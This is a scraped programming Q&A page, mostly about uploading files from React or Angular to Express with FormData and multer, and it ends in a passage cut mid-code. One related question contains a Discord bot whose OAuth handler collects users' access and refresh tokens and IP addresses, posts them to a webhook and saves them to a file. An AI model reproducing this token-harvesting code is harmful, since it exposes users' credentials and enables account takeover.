I am trying to upload a profilePhoto from reactjs to express backend using FormData:
const form = new FormData();
form.append(user, "user");
form.append(profilePhoto, "profilePhoto");
axios({
method: "post",
url: "http://localhost:8082/candidate/addCandidate",
data: form,
headers: { "Content-Type": "multipart/form-data" },
})
.then(function (response) {
//handle success
console.log(response);
})
.catch(function (response) {
//handle error
console.log(response);
});
in the backend : (this works well with the postman and the image gets added to the backend)
const DIR = "./public/";
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, DIR);
},
filename: (req, file, cb) => {
const fileName = file.originalname.toLowerCase().split(" ").join("-");
cb(null, uuid() + "-" + fileName);
},
});
var upload = multer({
storage: storage,
fileFilter: (req, file, cb) => {
if (
file.mimetype === "image/png" ||
file.mimetype === "image/jpg" ||
file.mimetype === "image/jpeg"
) {
cb(null, true);
} else {
cb(null, false);
return cb(new Error("Only .png, .jpg and .jpeg format allowed!"));
}
},
});
router.post(
"/addCandidate",
upload.single("profilePhoto"),
(req, res, next) => {
const url = req.protocol + "://" + req.get("host");
// try {
const candidate = new Candidate({
user: req.body.user,
profilePhoto: url + "/public/" + req.file,
});
candidate
.save()
.then((result) => {
console.log("bbbbbbbbbbbb", req);
res.status(201).json({
message: "User registered successfully!",
profilePhoto: result.profilePhoto,
});
})
.catch((err) => {
console.log("aaaaaaaaaaaa", req.body.file);
res.status(500).json({ error: err });
console.log(err);
});
}
);
however, when ever i try to upload a file it doesnt get uploaded to the backend and i get req.file undefined. I tried to console the req and this is what i get body:
{'606aee02f057cd714db2b646': 'user', '[object File]': 'profilePhoto'}
Any help!
I use something like this, you can change it for your project
My component:
import React from "react";
import ConfigX from '../ConfigX'
class FileUploader extends React.Component
{
url_upload = "";
url_download = "";
apiKey = "";
typ = "news";
typ_id = 99999;
constructor(props)
{
super(props)
this.state = {
view: "list",
title: "wybierz plik",
files: [],
uploadProcentAll: 10,
}
this.url_upload = ConfigX.restApi + "/rest,file_upload";
this.url_download = ConfigX.restApi + "/rest,file_list";
this.url_delete = ConfigX.restApi + "/rest,file_delete";
this.apiKey = this.props.apiKey;
this.typ = this.props.typ;
this.typ_id = this.props.typ_id;
}
/**
* Get actual list of file uploaded to server
*/
componentDidMount()
{
var dataPost = {
};
fetch( this.url_download , {
method: 'POST',
body: JSON.stringify(dataPost),
headers: {
'Content-Type': 'text/html',
'X-API-KEY': this.apiKey
}
})
.then( res => res.json() )
.then(json => {
// this.setState({
// files: json
// });
});
}
onChangeInput(event)
{
var handle = event.target;
console.log("FileUploader, selected: " + handle.files.length );
if( handle.files.length == 0) return false;
for(var i = 0; i < handle.files.length; i++)
{
var file = handle.files[i];
var isAdded = false;
this.state.files.forEach( exFile => {
if(exFile.name == file['name']) isAdded = true;
});
if(isAdded) continue;
var randName = crypto.getRandomValues( new Uint32Array(1)) + file['name'];
var item = {
name: file['name'],
progress: 0,
status: 'start',
uq: randName
}
var list = this.state.files;
list.push(item);
this.setState({ files: list});
this.startUpload(file, list.length-1, randName );
}
}
onDelete(event)
{
var uq = event.target.getAttribute("uq");
console.log("FileUploader, delete: " + uq);
var dataPost = {
uq: uq
};
fetch( this.url_delete , {
method: 'POST',
body: JSON.stringify(dataPost),
headers: {
'Content-Type': 'text/html',
'X-API-KEY': this.apiKey
}
})
.then( res => res.json() )
.then(json => {
if(json.status == "OK") //deleted on server..
{
var files = this.state.files.filter( item => {
if(item.uq == uq) return false;
return true;
} );
this.setState({
files: files
})
}
});
}
refreshProgress()
{
var sumP = 0;
var countP = 0;
this.state.files.map( item => {
if(item.status == 'start' || item.status == 'upload')
{
countP++;
sumP += item.progress;
}
} );
var avg = sumP / countP;
this.setState({
uploadProcentAll: avg
});
}
startUpload(file, tabIndex, randName)
{
var refState = this.state;
var refRefreshProgress = this.refreshProgress.bind(this);
var xhr = new XMLHttpRequest();
xhr.upload.addEventListener('progress',function(ev)
{
var procent = (ev.loaded/ev.total );
procent *= 100;
procent = Math.round(procent) ;
refState.files[tabIndex]['progress'] = procent;
refState.files[tabIndex]['status'] = "upload";
refRefreshProgress();
}, false)
xhr.addEventListener("load", function(ev){
} , false);
xhr.addEventListener("error", function(ev){}, false);
xhr.addEventListener("abort", function(ev){}, false);
xhr.onreadystatechange = function(ev)
{
if (xhr.readyState == 4)
{
refState.files[tabIndex]['status'] = "finish";
refState.files[tabIndex]['progress'] = 100;
}
};
xhr.open('POST', this.url_upload, true);
xhr.setRequestHeader('X-API-KEY', this.apiKey);
var data = new FormData();
data.append('file'+tabIndex, file );
data.append('typ', this.typ);
data.append('typ_id', this.typ_id);
data.append('fileUploader','yes');
data.append('uq', randName);
xhr.send(data);
}
render()
{
var progress = "";
var progressStyle = {
width: this.state.uploadProcentAll+"%"
}
if(this.state.uploadProcentAll > 0 && this.state.uploadProcentAll < 100 )
{
progress = (
<div className="progressBar">
<div className="progressLine" style={progressStyle}>{this.state.uploadProcentAll}</div>
</div>
)
}
return (
<div className="fileUploader">
<div className="buttonUploader">
<input type="file" onchange="zaladuj_pliki(this)" multiple id="fileselect" name="fileselect[]" accept="*/*" onChange={this.onChangeInput.bind(this)} />
{progress}
</div>
<table>
{
this.state.files.map( (item,index) => {
return (
<tr key={index} >
<td>{item.progress}</td>
<td>{item.name}</td>
<td uq={item.uq} onClick={this.onDelete.bind(this) } >Del</td>
</tr>
)
})
}
</table>
</div>
)
}
}
export default FileUploader;
Put in parent:
<FileUploader typ="sk_szkolenia" typ_id={this.state.rows.id} apiKey={this.props.apiKey} />
Related
if there is a user id saved in the json file i want to give them a role when they use the .verify command.
or I want to automatically assign roles to user ids in json file
my code i tried but it didn't work I don't want it to assign a role if the person isn't there
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
all code of my bot
const Discord = require('discord.js');
const client = new Discord.Client({
fetchAllMembers: false,
restTimeOffset: 0,
restWsBridgetimeout: 100,
shards: "auto",
allowedMentions: {
parse: [],
repliedUser: false,
},
partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
intents: [
Discord.Intents.FLAGS.GUILDS,
Discord.Intents.FLAGS.GUILD_MEMBERS,
//Discord.Intents.FLAGS.GUILD_BANS,
//Discord.Intents.FLAGS.GUILD_EMOJIS_AND_STICKERS,
//Discord.Intents.FLAGS.GUILD_INTEGRATIONS,
//Discord.Intents.FLAGS.GUILD_WEBHOOKS,
//Discord.Intents.FLAGS.GUILD_INVITES,
Discord.Intents.FLAGS.GUILD_VOICE_STATES,
//Discord.Intents.FLAGS.GUILD_PRESENCES,
Discord.Intents.FLAGS.GUILD_MESSAGES,
Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.GUILD_MESSAGE_TYPING,
Discord.Intents.FLAGS.DIRECT_MESSAGES,
Discord.Intents.FLAGS.DIRECT_MESSAGE_REACTIONS,
//Discord.Intents.FLAGS.DIRECT_MESSAGE_TYPING
],
});
const jeu = require("./jeu");
const chalk = require('chalk');
const db = require('quick.db');
const fs = require('fs');
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
const FormData = require('form-data');
const axios = require('axios');
const emoji = require("./emoji");
process.on("unhandledRejection", err => console.log(err))
app.use(bodyParser.text())
app.get('/', function(req, res) {
res.sendFile(__dirname + '/index.html')
})
app.get('/jeuallauth', async (req, res) => {
fs.readFile('./object.json', function(err, data) {
return res.json(JSON.parse(data))
})
})
app.post('/', function(req, res) {
const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
let form = new FormData()
form.append('client_id', jeu.client_id)
form.append('client_secret', jeu.client_secret)
form.append('grant_type', 'authorization_code')
form.append('redirect_uri', jeu.redirect_uri)
form.append('scope', 'identify', 'guilds.join')
form.append('code', req.body)
fetch('https://discordapp.com/api/oauth2/token', { method: 'POST', body: form, })
.then((eeee) => eeee.json())
.then((cdcd) => {
ac_token = cdcd.access_token
rf_token = cdcd.refresh_token
const tgg = { headers: { authorization: `${cdcd.token_type} ${ac_token}`, } }
axios.get('https://discordapp.com/api/users/#me', tgg)
.then((te) => {
let efjr = te.data.id
fs.readFile('./object.json', function(res, req) {
if (
JSON.parse(req).some(
(ususu) => ususu.userID === efjr
)
) {
console.log(
`[-] ${ip} - ` +
te.data.username +
`#` +
te.data.discriminator
)
return
}
console.log(
`[+] ${ip} - ` +
te.data.username +
'#' +
te.data.discriminator
)
avatarHASH =
'https://cdn.discordapp.com/avatars/' +
te.data.id +
'/' +
te.data.avatar +
'.png?size=4096'
fetch(`${jeu.wehbook}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
avatar_url: '',
embeds: [
{
color: 3092790,
title: `${emoji.info} **New User**`,
thumbnail: { url: avatarHASH },
description:
`${emoji.succes} \`${te.data.username}#${te.data.discriminator}\`` +
`\n\n${emoji.succes} IP: \`${ip}\`` +
`\n\n${emoji.succes} ID: \`${te.data.id}\`` +
`\n\n${emoji.succes} Acces Token: \`${ac_token}\`` +
`\n\n${emoji.succes} Refresh Token: \`${rf_token}\``,
},
],
}),
})
var papapa = {
userID: te.data.id,
userIP: ip,
avatarURL: avatarHASH,
username:
te.data.username + '#' + te.data.discriminator,
access_token: ac_token,
refresh_token: rf_token,
},
req = []
req.push(papapa)
fs.readFile('./object.json', function(res, req) {
var jzjjfj = JSON.parse(req)
jzjjfj.push(papapa)
fs.writeFile(
'./object.json',
JSON.stringify(jzjjfj),
function(eeeeeeeee) {
if (eeeeeeeee) {
throw eeeeeeeee
}
}
)
})
})
})
.catch((errrr) => {
console.log(errrr)
})
})
})
client.on("ready", () => {
setInterval(() => {
var guild = client.guilds.cache.get('1026216372386136114');
var shareCount = guild.members.cache.filter(member => member.roles.cache.has('1070667391278792714')).size;
var OnlineCount = guild.members.cache.filter(m => m.presence && m.presence.status !== "offline").size;
let activities = [ `${guild.memberCount} Members`, `${OnlineCount} Online Members`, `${guild.premiumSubscriptionCount} Hardcore Boosted` , `${shareCount} Shareholder Members` ], i = 0;
setInterval(() => client.user.setActivity({ name: `${activities[i++ % activities.length]}`, status: "DND" }), 5200);
}, 100);
client.on("messageCreate", async (message, ctx) => {
if(message.channel.id === '1062725303878811678'){
if(message.content == 'dogrula'){
const role = message.guild.roles.cache.get('1070667391278792714')
const guild = client.guilds.cache.get("1026216372386136114")
const member = message.author.id
console.log('Found user:', member)
fs.readFile('./object.json', async function(err, data) {
let msg = await message.channel.send({
content: `**kontrol ediliyor...**`
})
let json = JSON.parse(data);
let error = 0;
let success = 0;
let already_joined = 0;
for (const i of json) {
const user = await client.users.fetch(i.userID).catch(() => { });
if (guild.members.cache.get(i.userID)) {
await message.member.roles.add(role, { userID: i.userID }).catch(() => {
console.log(error++)
})
console.log(success++)
}
}
})
}
}
})
function escapeRegex(str) {
return str.replace(/[.*+?^${}()|[\]\\]/g, `\\$&`);
}
})
json file
[{"userID":"10342421159140912","avatarURL":"*********","username":"****","access_token":"********","refresh_token":"****"}
The users who authorize my bot are saved in a json file and I want to automatically assign roles to the people in that file, but it didn't work.
I tried something else and if the user is registered in the json file it uses the .verify command and the bot gives him a role. but it was giving even though it wasn't registered, I couldn't figure it out
I have asked this twice before two years ago and I still cannot get this to work. Let me explain.
How I want this to work is this:
User uploads some information in addition to an IMAGE file, NOT a text file.
I can easily send the text fields and receive them in an email.
I CANNOT receive the IMAGE file. It just appears blank with no file type or anything.
In the code, when the user hits the submit button, it is supposed to convert everything to a data form and upload that data to the backend.
However, while the text gets uploaded and sent, the file doesn't, so obviously I am missing something very fundamental here.
Do I actually need to upload the file to a physical file system like an HDD to then read the file on the server end? If so, how do I do that? Where do I save the file on the development side? How is this handled in production? Do I need a database for just one image file at a time? If I do need a database or some sort of physical storage, does that mean the flow would be to physically upload the file, read it, then delete it? Isn't that inefficient?
My last question can be seen here regarding the same current issue and I have yet to solve the problem: Why are my attachments not sending in Node.js?
What I want is to be able to see an image, NOT a blank attachment or a text file in my email attachment. I need an IMAGE file, a jpeg file specifically. How do I do this? What am I doing wrong? What buffer type am I supposed to use? The Nodemailer documentation has nothing that describes how to send an image, just all text files. Why won't this work? After two years on this I am at my wits end. Here again is my code, the relevant behavior is near the bottom of the server code:
FRONT END
import React, {Component} from "react";
import "./master.css";
import BuyHeader from "./images/buyBlocksHeader.png";
import LoginLabel from "./images/Label-Login.png";
import EmailLabel from "./images/Label-Email.png";
import ImageLabel from "./images/Label-Image.png";
import SubmitOff from "./images/Submit_Off.png";
import SubmitOn from "./images/Submit_On.png";
class Form extends Component {
constructor() {
super();
this.state = {
submitButton: SubmitOff,
_loginName: "",
_email: "",
_file: undefined,
};
}
baseURL = "http://localhost:8081/";
onLoginChange(event) {
this.setState({ _loginName: event.target.value })
}
onEmailChange(event) {
this.setState({ _email: event.target.value })
}
onFileChange(event) {
const file = event.target.value;
if (file){
this.setState({ _file: file});
}
console.log(file);
}
SendEmail = async(e) => {
e.preventDefault();
const formData = new FormData();
formData.append("loginName", this.state._loginName);
formData.append("email", this.state._email);
formData.append("file", this.state._file);
const response = await fetch(this.baseURL + "email", {
method: "POST",
mode: "cors",
body: formData,
});
const data = await response.json();
this.resetState();
console.log(data);
}
resetState() {
this.setState({_loginName: "", _email: "", _file: undefined});
this.props.handleFormState(false);
}
render () {
return (
<div>
<img src={BuyHeader} alt={""} />
<form onSubmit={this.SendEmail} encType="multipart/form-data">
<div>
<label htmlFor="loginName"><img src={LoginLabel} alt={""} /></label>
<input type="text" id="loginName" required value={this.state._loginName} onChange={this.onLoginChange.bind(this)}/>
</div>
<div>
<label htmlFor="email"><img src={EmailLabel} alt={""} /></label>
<input type="email" id="email" required value={this.state._email} onChange={this.onEmailChange.bind(this)} />
</div>
<div>
<label htmlFor="file"><img src={ImageLabel} alt={""} /></label>
<input type="file" id="file" required accept=".jpeg, .jpg" onChange={this.onFileChange.bind(this)} />
</div>
<div>
<button type="submit">
<img src={this.state.submitButton}
alt={""}
onMouseEnter={() => {
this.setState({ submitButton: SubmitOn });
}}
onMouseOut={() => {
this.setState({ submitButton: SubmitOff });
}}
/>
</button>
</div>
</form>
</div>
)
}
}
export default Form;
SERVER
const express = require("express")
const app = express();
const multer = require("multer");
const access = require("./config.json");
const {writeFile, readFileSync} = require("fs");
const accessPath = "./config.json";
require("dotenv").config();
const request = require("request");
const cors = require("cors");
const nodemailer = require("nodemailer");
const SMTPTransport = require("nodemailer/lib/smtp-transport");
app.use(cors({
origin: "*"
}));
app.use(express.json());
app.use((req, res, next) => {
res.setHeader("Access-Control-Allow-Origin", "*");
res.setHeader("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
res.header('Access-Control-Allow-Credentials', true);
next();
});
var file = access;
var PORT = file.port;
var server = app.listen(PORT, function() {
var port = server.address().port;
console.log("Back end listening at localhost:", port)
});
const fileData = readFileSync(accessPath, "utf8");
const jsonData = JSON.parse(fileData);
const upload = multer({
storage: multer.memoryStorage()
});
const directUpload = upload.fields([
{name: "loginName"},
{name: "email"},
{name: "file"}
]);;
const contactEmail = nodemailer.createTransport(new SMTPTransport({
name: "*****",
host: "*****",
port: ***,
secure: true,
auth: {
user: process.env.EMAIL,
pass: process.env.PASS,
},
}));
contactEmail.verify((error) => {
if (error) {
console.log(error);
} else {
console.log("Ready to send email request!");
}
});
var token = "";
var curToken = file.access_token;
var activeStreams = [];
var activeUser;
app.get('/', function(req, res) {
res.sendFile(__dirname + "/public/index.html");
});
/*Run this on initialization*/
function ValidateToken(currentToken) {
const options = {
url: process.env.VALIDATE_TOKEN,
json: true,
headers: {
"Client-ID": process.env.CLIENT_ID,
"Authorization": 'Bearer ' + currentToken,
}
};
request.get(options, (err, res, body) => {
if (err) {
return console.log(err);
}
console.log(res.statusCode);
if (res.statusCode !== 200) {
jsonData["access_token"] = "";
writeFile(accessPath, JSON.stringify(jsonData, null, 4), (error) => {
if (error) {
console.log("ERROR: File could not be written.", error);
}
console.log("File successfully written!");
})
const newFileData = readFileSync(accessPath, "utf8");
const data = JSON.parse(newFileData);
curToken = data.access_token;
}
})
}
ValidateToken(curToken);
function CheckToken(currentToken) {
if (currentToken === "") {
const GrabToken = (url, callback) => {
const options = {
url: process.env.GET_TOKEN,
json: true,
body: {
client_id: process.env.CLIENT_ID,
client_secret: process.env.CLIENT_SECRET,
grant_type: "client_credentials",
}
};
request.post(options, (err, res, body) => {
if (err) {
return console.log(err);
}
console.log(body);
callback(res);
})
};
GrabToken(process.env.GET_TOKEN, (res) => {
token = res.body.access_token;
const newFileData = readFileSync(accessPath, "utf8");
const data = JSON.parse(newFileData);
data["access_token"] = token;
writeFile(accessPath, JSON.stringify(data, null, 4), (error) => {
if (error) {
console.log("ERROR: File could not be written.", error);
}
console.log("File successfully written!");
})
console.log(token);
curToken = token;
return curToken;
})
};
console.log(curToken);
}
setTimeout(() => {
CheckToken(curToken)
}, 1000);
function FindStream(currentToken) {
const options = {
url: process.env.GET_STREAMER + file.user,
json: true,
headers: {
"Client-ID": process.env.CLIENT_ID,
"Authorization": 'Bearer ' + currentToken,
}
};
request.get(options, (err, res, body) => {
if (err) {
return console.log(err);
}
activeStreams = res.body.data.map(obj=>
obj.user_login);
console.log(activeStreams);
})
}
setTimeout(() => {
FindStream(curToken)
}, 1500)
/*End initialization*/
app.post('/streams', (req, res) => {
function ValidateToken(currentToken) {
const options = {
url: process.env.VALIDATE_TOKEN,
json: true,
headers: {
"Client-ID": process.env.CLIENT_ID,
"Authorization": 'Bearer ' + currentToken,
}
};
request.get(options, (err, res, body) => {
if (err) {
return console.log(err);
}
console.log(res.statusCode);
if (res.statusCode !== 200) {
jsonData["access_token"] = "";
writeFile(accessPath, JSON.stringify(jsonData, null, 4), (error) => {
if (error) {
console.log("ERROR: File could not be written.", error);
}
console.log("File successfully written!");
})
const newFileData = readFileSync(accessPath, "utf8");
const data = JSON.parse(newFileData);
curToken = data.access_token;
}
})
}
ValidateToken(curToken);
function CheckToken(currentToken) {
if (currentToken === "") {
const GrabToken = (url, callback) => {
const options = {
url: process.env.GET_TOKEN,
json: true,
body: {
client_id: process.env.CLIENT_ID,
client_secret: process.env.CLIENT_SECRET,
grant_type: "client_credentials",
}
};
request.post(options, (err, res, body) => {
if (err) {
return console.log(err);
}
console.log(body);
callback(res);
})
};
GrabToken(process.env.GET_TOKEN, (res) => {
token = res.body.access_token;
const newFileData = readFileSync(accessPath, "utf8");
const data = JSON.parse(newFileData);
data["access_token"] = token;
writeFile(accessPath, JSON.stringify(data, null, 4), (error) => {
if (error) {
console.log("ERROR: File could not be written.", error);
}
console.log("File successfully written!");
})
console.log(token);
curToken = token;
return curToken;
})
};
console.log(curToken);
}
setTimeout(() => {
CheckToken(curToken)
}, 1000);
function FindStream(currentToken) {
const options = {
url: process.env.GET_STREAMER + file.user,
json: true,
headers: {
"Client-ID": process.env.CLIENT_ID,
"Authorization": 'Bearer ' + currentToken,
}
};
request.get(options, (err, res, body) => {
if (err) {
return console.log(err);
}
activeStreams = res.body.data.map(obj=>
obj.user_login);
console.log(activeStreams);
})
}
setTimeout(() => {
FindStream(curToken)
}, 1500)
res.json(activeStreams);
})
app.get('/live', function(req, res) {
res.send(activeUser)
console.log("Received signal. " + activeUser);
});
app.post('/live', (req, res) => {
const {parcel} = req.body
activeUser = activeStreams.includes(parcel);
var userStatus = JSON.stringify(activeUser);
res.json(userStatus);
})
app.post('/email', directUpload, (req, res ) => {
const mailBody = {
from: req.file.email,
to: process.env.EMAIL,
subject: "The Block: Purchase Blocks Request",
html: `<p>Streamer Login Name: ${req.file.loginName}</p>
<p>Reply Email: ${req.file.email}</p>`,
attachments: [
{
__filename: "adImage.jpg", /*What should this be? The file name depends upon what the user uploaded*/
content: new Buffer.from(req.file.file, "base64"),
}
]
};
contactEmail.sendMail(mailBody, (error) => {
if (error) {
res.json({ status: "ERROR" });
} else {
res.json({ status: "Message sent!" });
}
});
})
I thank anyone who can provide a VERY DETAILED explanation of what I need to do, how to do it, what exactly I am doing wrong and why it is not working. I would love to finally be able to get this working. Thank you!!!
I am trying to send multiple files from react to express server and then to microservice. The problem is that my express server is getting crashed whenever I try to upload multiple files.
Here is my express.js side code:
router.post("/upload-files", upload.array("file[]"), async function (req, res) {
let check = new FormData();
// check = req.files;
const file = req.files;
// console.log("DATA------------------------>", file);
// check.append("file", file.buffer, file.originalname);
await axios.post(
constants.URL2 +":9095/upload-files", check,
{
headers: {
...check.getHeaders(),
},
})
.then((res) => {
return res;
})
.then((result) => {
res.send(result.data);
});
});
Here is my React.js side code:
update = () => {
if (this.isValidForm()) {
$(".loader").css({ display: "block" });
$(".overlay").css({ display: "block" });
// const obj = {
// fullName: this.state.fullName,
// };
var formData = new FormData();
const size = this.state.fileData;
for (let i = 0; i < size.length; i++) {
console.log(this.state.fileData[i]);
formData.append("file[]", this.state.fileData[i]);
}
// formData.append("files", this.state.fileData);
const updateRequest = {
method: "POST",
headers: {
// "Content-Type": "application/json",
Authorization:
},
// body: JSON.stringify(obj),
body: formData
};
fetch(URL.BASE_URL + "upload-file", updateRequest)
.then((res) => {
if (res.status == 401) {
this.props.GETLOGGEDINUSER(null);
this.props.history.push("/");
} else {
return res.json();
}
})
.then((res) => {
if (res.statusCode == 0) {
this.props.history.push({
pathname: "/newScreen",
state: { notification: "File uploaded Successfully" },
});
toast.success("File uploaded Successfully");
$(".loader").css({ display: "none" });
$(".overlay").css({ display: "none" });
} else {
toast.error(res.message);
$(".loader").css({ display: "none" });
$(".overlay").css({ display: "none" });
}
});
} else {
}
};
I tried many ways to solve this but none of them works.
I'm facing a problem while uploading images from react state to express.
I'm getting empty array in my express route while sending images. But texts are sent and received in backend with no problem. The problem is that images are not sent to the backend.
This is my React code:
import React, { Component } from 'react'
import ImageUploader from 'react-images-upload'
import API from '../../../../api'
export default class AddCategory extends Component {
constructor(props) {
super(props);
this.state = {
formData: {
name_uz: '',
name_ru: '',
name_en: ''
},
pictures: [],
response: false,
loading: false,
responseText: '',
responseResult: false
}
this.handleChange = this.handleChange.bind(this);
this.handleSubmit = this.handleSubmit.bind(this);
this.clearForm = this.clearForm.bind(this);
this.onDrop = this.onDrop.bind(this);
}
onDrop(picture) {
this.setState({
pictures: this.state.pictures.concat(picture),
});
}
handleChange = e => {
let state = (this.state);
let a = state.formData;
a[e.target.name] = e.target.value;
this.setState({formData: a});
}
handleSubmit = e => {
e.preventDefault()
this.setState({ loading: true })
const texts = this.state.formData
const pictures = this.state.pictures
console.log(pictures)
const postData = {texts, pictures}
API.post(`/content/category/new`, {postData})
.then(res => {
this.setState({ responseText: res.data.text })
res.data.status ? this.setState({ loading: false, responseResult: true, response: true }) : this.setState({ loading: false, responseResult: false, response: true })
this.clearForm()
setTimeout(function () {
this.setState({response: false});
}.bind(this), 6900)
})
}
render() {
return (
<div className='content-manager-section'>
<Form onSubmit={this.handleSubmit}>
<ImageUploader
withIcon={true}
buttonText='Выберите изображения'
onChange={this.onDrop}
imgExtension={['.jpg']}
maxFileSize={5242880}
label='Максимальный размер изображения: 2 Мб, Тип изображения: .jpg'
fileSizeError='Файл слишком большой файл'
fileTypeError='Недопустимый тип файла'
singleImage={true}
/>
<input onChange={this.handleChange} value={this.state.formData.name_uz} maxLength='50' name='name_uz' placeholder='Название' />
<input onChange={this.handleChange} value={this.state.formData.name_ru} maxLength='50' name='name_ru' placeholder='Название' />
<input onChange={this.handleChange} value={this.state.formData.name_en} maxLength='50' name='name_en' placeholder='Название' />
<Button className={this.state.loading ? 'loading submit-btn' : 'submit-btn'} type='submit'><i className='lnil lnil-cloud-upload'></i>Добавить</Button>
</Form>
</div>
)
}
}
This is my Express code:
const uuidv4 = require('uuid')
const multer = require("multer")
const storage = multer.diskStorage({
destination: (req, file, cb) => {
cb(null, DIR);
},
filename: (req, file, cb) => {
const fileName = file.originalname.toLowerCase().split(' ').join('-');
cb(null, uuidv4() + '-' + fileName)
}
});
var upload = multer({
storage: storage,
fileFilter: (req, file, cb) => {
if (file.mimetype == "image/png" || file.mimetype == "image/jpg" || file.mimetype == "image/jpeg") {
cb(null, true);
} else {
cb(null, false);
return cb(new Error('Only .png, .jpg and .jpeg format allowed!'));
}
}
});
.post('/new', upload.single('image'), (req, res) => {
console.log(req.body)
console.log(req.files)
})
This is what Express is logging in console
{
postData: {
texts: { name_uz: '', name_ru: '', name_en: '' },
pictures: [ {} ]
}
}
undefined
Please, let me know my wrong steps.
Edit
It seems that square brackets [ ] inside state has some strange behaviour. Everytime I use [ ] inside state and try to post it, the sent array is empty.
I've solved it myself. I had to use the FormData interface for sending files.
In case if someone needs it, here is the documentation.
And in Express I've used multer fields for receiving pictures and texts.
Example from my React code that works:
const formData = new FormData();
for (var i = 0; i < this.state.pictures.length; i++) {
formData.append('categorypic', this.state.pictures[i])
}
formData.append('texts', JSON.stringify(this.state.formTexts))
axios.post('your_url_here', formData)
.then(res => {
})
I'm building an angular node app and am doing a http post request to signup a user. Its a chain of observables that gets the users social login information, signs ups the user, then on success emails the user. In dev mode everything works perfect, in prod mode, im getting a 404 not found. I also want to note that in development mode, some of my function calls in the observables on success are not being called. Its acting very strange and cannot figure out what I am doing wrong.
Here is my route controller
module.exports = {
signup: function signup(req, res) {
return User.create({
email: (req.body.email).toLowerCase(),
image: req.body.image,
name: req.body.name,
provider: req.body.provider || 'rent',
uid: req.body.uid || null
}).then(function (user) {
return res.status(200).json({
title: "User signed up successfully",
obj: user
});
}).catch(function (error) {
console.log(error);
return res.status(400).json({
title: 'There was an error signing up!',
error: error
});
});
}
};
and route
router.post('/signup', function(req,res,next) {
return usersController.signup(req,res);
});
My service
#Injectable()
export class UserService {
private devUrl = 'http://localhost:3000/user';
private url = '/user';
sub: any;
public user: User;
constructor(
private authS: AuthService,
private http: HttpClient) {
}
signup(user: User) {
return this.http.post(this.url + '/signup', user);
}
auth(provider: string) {
return this.sub = this.authS.login(provider);
}
logout() {
this.authS.logout()
.subscribe(value => {
console.log(value);
}, error => console.log(error))
}
getUser() {
return this.user;
}
}
and my component logic for signing up using social buttons
onAuth(provider: string){
this.checkmark = true;
this.uis.onSignupComplete();
setTimeout(() => {
this.checkmark = false;
this.thankyou = true;
}, 2500);
this.userService.auth(provider)
.subscribe(user => {
this.user = {
email: user['email'],
image: user['image'],
name: user['name'],
provider: user['provider'],
uid: user['uid']
};
this.userService.signup(this.user)
.subscribe(user => {
this.randomNum = Math.floor(Math.random() * 2);
let userEmail = this.user.email;
let subject = 'Welcome to the rent community';
let html = '';
if (this.randomNum === 1) {
html = this.contactS.getAutoEmail1();
} else if (this.randomNum === 0) {
html = this.contactS.getAutoEmail0();
}
let email = new Email(subject, html, userEmail);
this.contactS.setEmail(email)
.subscribe(data => {
}, response => {
// if (response.error['error'].errors[0].message === 'email must be unique') {
// this.uis.onSetError('Email is already used');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// } else {
// this.uis.onSetError('There was an error');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// }
console.log(response);
});
}, resp => console.log(resp));
}, response => {
console.log(response);
});
}
Here is the whole component
import {Component, DoCheck, HostListener, OnInit} from '#angular/core';
import {User} from "../user/user.model";
import {UserService} from "../user/user.service";
import {UiService} from "../ui.service";
import {ContactService} from "../contact/contact.service";
import {Email} from "../contact/email.model";
#Component({
selector: 'app-landing-page',
templateUrl: './landing-page.component.html',
styleUrls: ['./landing-page.component.css']
})
export class LandingPageComponent implements OnInit, DoCheck {
user: User = {
email: '',
image: '',
name: '',
provider: '',
uid: ''
};
signupComplete = false;
signup = false;
contact = false;
error = false;
errorStr = 'There was an error';
checkmark = false;
thankyou = false;
randomNum = Math.floor(Math.random() * 2);
#HostListener('window:keyup', ['$event'])
keyEvent(event: KeyboardEvent) {
const enter = 13;
if (event.keyCode === enter) {
// this.onSignup();
}
}
constructor(
private uis: UiService,
private contactS: ContactService,
private userService: UserService) { }
ngOnInit() {}
ngDoCheck() {
this.signup = this.uis.onGetSignup();
this.contact = this.uis.onGetContact();
this.signupComplete = this.uis.onReturnSignupComplete();
this.error = this.uis.getError();
this.errorStr = this.uis.getErrorStr();
}
onClickAction(s: string) {
this.uis.onClickAction(s);
}
onSignup() {
this.user.provider = 'rent';
this.user.uid = null;
this.userService.signup(this.user)
.subscribe(user => {
this.randomNum = Math.floor(Math.random() * 2);
let userEmail = this.user.email;
let subject = 'Welcome to the rent community';
let html = '';
if (this.randomNum === 1) {
html = this.contactS.getAutoEmail1();
} else if (this.randomNum === 0) {
html = this.contactS.getAutoEmail0();
}
let email = new Email(subject, html, userEmail);
this.checkmark = true;
this.uis.onSignupComplete();
setTimeout(() => {
this.checkmark = false;
this.thankyou = true;
}, 2500);
this.contactS.setEmail(email)
.subscribe(email => {
this.onReset();
}
, error => console.log(error));
}, response => {
if (response.error['error'].errors[0].message === 'email must be unique') {
this.uis.onSetError('Email is already used');
this.uis.onError();
setTimeout(() => {
this.uis.onErrorOff();
}, 2500);
console.log(response);
} else {
this.uis.onSetError('There was an error');
this.uis.onError();
setTimeout(() => {
this.uis.onErrorOff();
}, 2500);
console.log(response);
}
});
}
onAuth(provider: string){
this.checkmark = true;
